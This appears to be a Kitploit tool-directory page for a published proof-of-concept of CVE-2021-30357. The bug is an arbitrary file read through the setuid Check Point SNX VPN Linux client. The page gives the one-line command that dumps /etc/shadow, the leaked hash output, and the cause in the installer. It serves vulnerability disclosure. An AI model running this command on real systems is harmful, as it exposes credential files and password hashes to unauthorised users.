Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-30357_CheckPoint_SNX_VPN_PoC — Proof-of-Concept for privileged file read through CheckPoint SNX VPN Linux Client | Kitploit
Tools/GitHubGitHub/joaovarelas/cve-2021-30357_checkpoint_snx_vpn_poc
Privilege EscalationVulnerability ScannersVulnerability AnalysisExploitationPenetration Testing
GitHubjoaovarelas/cve-2021-30357_checkpoint_snx_vpn_poc

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

Proof-of-Concept for privileged file read through CheckPoint SNX VPN Linux Client

Share
View Repository
61433 years agoNot yet reviewed

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

Proof-of-Concept for privileged file read through CheckPoint SNX VPN Linux Client.

Affected Version

  • CheckPointVPN_SNX_Linux_800007075.sh
  • MD5 Checksum: 4372e9936e2dfb1d1ebcef3ed4dd7787

Exploit

To exploit just load any file as SNX config using the -f paremeter. If the file is not a valid SNX config, it will throw an error and display syntax error, leaking the contents until string terminator is found (e.g. etc/shadow):

$ /usr/bin/snx -f /etc/shadow

parsing of the file: /etc/shadow  failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'

Valid attributes are:

   - server          SNX server to connet to
   - sslport         The SNX SSL port (if not default)
   - username        the user name

(...)

Vulnerability

The cause is due to the executable /usr/bin/snx having the SETUID bit and running as super-user, set during installation.

In particular, the variable COMMAND_TO_RUN defined in .sh installation file (CheckPointVPN_SNX_Linux_800007075.sh):

[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"

In the parameter --mode=u=rxs, the last s sets the SUID bit, thus leading to run the executable binary as root.

Official Advisory

  • https://support.checkpoint.com/results/sk/sk173513
  • https://vrls.ws/posts/2021/06/cve-2021-30357-check-point-software-vpn-arbitrary-file-read/
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    594
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    387
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    322
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    308
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    275

Explore all tools

Browse our collection of tools

View all tools →